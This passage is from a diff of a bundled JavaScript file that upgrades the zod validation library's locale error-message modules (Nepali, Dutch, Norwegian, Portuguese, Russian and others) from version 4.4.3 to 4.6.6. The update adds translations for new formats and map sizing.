1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u0939\u0930\u0942 \u092E\u0927\u094D\u092F\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u093E ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0920\u0942\u0932\u094B: ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} \u092E\u093E ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0927\u0947\u0930\u0948 \u0938\u093E\u0928\u094B: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.prefix}" \u092C\u093E\u091F \u0938\u0941\u0930\u0941 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.suffix}" \u092E\u093E \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: "${_issue.includes}" \u0938\u092E\u093E\u0935\u0947\u0936 \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0919: \u0922\u093E\u0901\u091A\u093E ${_issue.pattern} \u0938\u0901\u0917 \u092E\u0947\u0932 \u0916\u093E\u0928\u0941\u092A\u0930\u094D\u091B`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: ${issue2.divisor} \u0915\u094B \u0917\u0941\u0923\u091C \u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u091E\u094D\u091C\u0940${issue2.keys.length > 1 ? "\u0939\u0930\u0942" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u091E\u094D\u091C\u0940: ${issue2.origin} \u092E\u093E`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -71125,12 +72964,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -71200,17 +73043,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -71234,14 +73192,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -71309,17 +73271,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -71345,12 +73308,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -71419,17 +73386,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -71455,12 +73423,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -71534,17 +73506,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -71570,12 +73543,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -71644,121 +73621,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -71797,6 +73954,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -71873,11 +74033,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -71893,7 +74053,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -71926,6 +74086,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -71952,12 +74120,16 